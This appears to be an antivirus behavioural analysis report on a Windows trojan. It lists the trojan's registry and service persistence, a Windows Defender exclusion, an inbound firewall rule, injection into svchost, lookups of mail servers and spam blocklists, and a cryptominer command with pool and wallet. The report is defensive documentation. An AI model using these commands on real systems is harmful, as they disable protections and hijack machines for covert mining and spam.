Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\qqrrnqff] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\qqrrnqff] 'ImagePath' = '%WINDIR%\SysWOW64\qqrrnqff\zcicrcnt.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\qqrrnqff] 'ImagePath' = '%WINDIR%\SysWOW64\qqrrnqff\zcicrcnt.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\qqrrnqff' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\zcicrcnt.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\zcicrcnt.exe to %WINDIR%\syswow64\qqrrnqff\zcicrcnt.exe
Deletes itself.
Network activity
Connects to
- 'alt1.aspmx.l.google.com':25
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK sm####.eastlink.ca
- DNS ASK ho###il.co.uk
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ve####ststuff.net
- DNS ASK vi###tron.ca
- DNS ASK mx.##deotron.ca
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK ch##ter.net
- DNS ASK mx#.#harter.net
- DNS ASK is##hk.net
- DNS ASK ma##.issihk.net
- DNS ASK ok##.net
- DNS ASK mx.####.##t.cust.a.hostedemail.com
- DNS ASK google.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK sh###top.net
- DNS ASK vi####ltitan.net
- DNS ASK ya##o.co.uk
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ce###com.net
- DNS ASK mx##.5ax.org
- DNS ASK ch###ebuys.net
- DNS ASK go####cross.com.br
- DNS ASK sm###.##ldencross.com.br
- DNS ASK mn##fi.net
- DNS ASK eu####anstamps.net
- DNS ASK mx.###lprotect.be
- DNS ASK mo###ola.com
- DNS ASK is#.net
- DNS ASK ya##o.ca
- DNS ASK da###ail.net
- DNS ASK mt#######.#et.mx1.greymail.rcimx.net
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK t-##line.de
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK mx##.#-online.de
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK ho##ail.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ya##o.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK mt###line.net
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK mi####.bittubeapp.com
- DNS ASK hc##c.gc.ca
- DNS ASK xt##.co.nz
- DNS ASK mx.##ra.co.nz
- DNS ASK gm##l.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK te###.com.mx
- DNS ASK vi#######mx-gateway.terra.com
- DNS ASK mo###baer.net
- DNS ASK in.#####.##ht.sjdc.mx.trendmicro.com
- DNS ASK ms##.hinet.net
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK ms#.#inet.net
- DNS ASK an####ciajunta.es
- DNS ASK mx.####luciajunta.es
- DNS ASK mx.####.seg-egs.gc.ca
- DNS ASK ma###isp.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\qqrrnqff\zcicrcnt.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\qqrrnqff\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zcicrcnt.exe" %WINDIR%\SysWOW64\qqrrnqff\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create qqrrnqff binPath= "%WINDIR%\SysWOW64\qqrrnqff\zcicrcnt.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description qqrrnqff "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start qqrrnqff' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\qqrrnqff\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zcicrcnt.exe" %WINDIR%\SysWOW64\qqrrnqff\
- '%WINDIR%\syswow64\sc.exe' create qqrrnqff binPath= "%WINDIR%\SysWOW64\qqrrnqff\zcicrcnt.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description qqrrnqff "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start qqrrnqff
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3yF6V9xnLZcVuHhV6W19JR6Ze5F6M26CDujJeY4mkkQ3ZsCiyenVujf2DkwFXaoL3rb8rvtSseFVvTsDPSJt482P4jGtDmN.60000 -p x -k
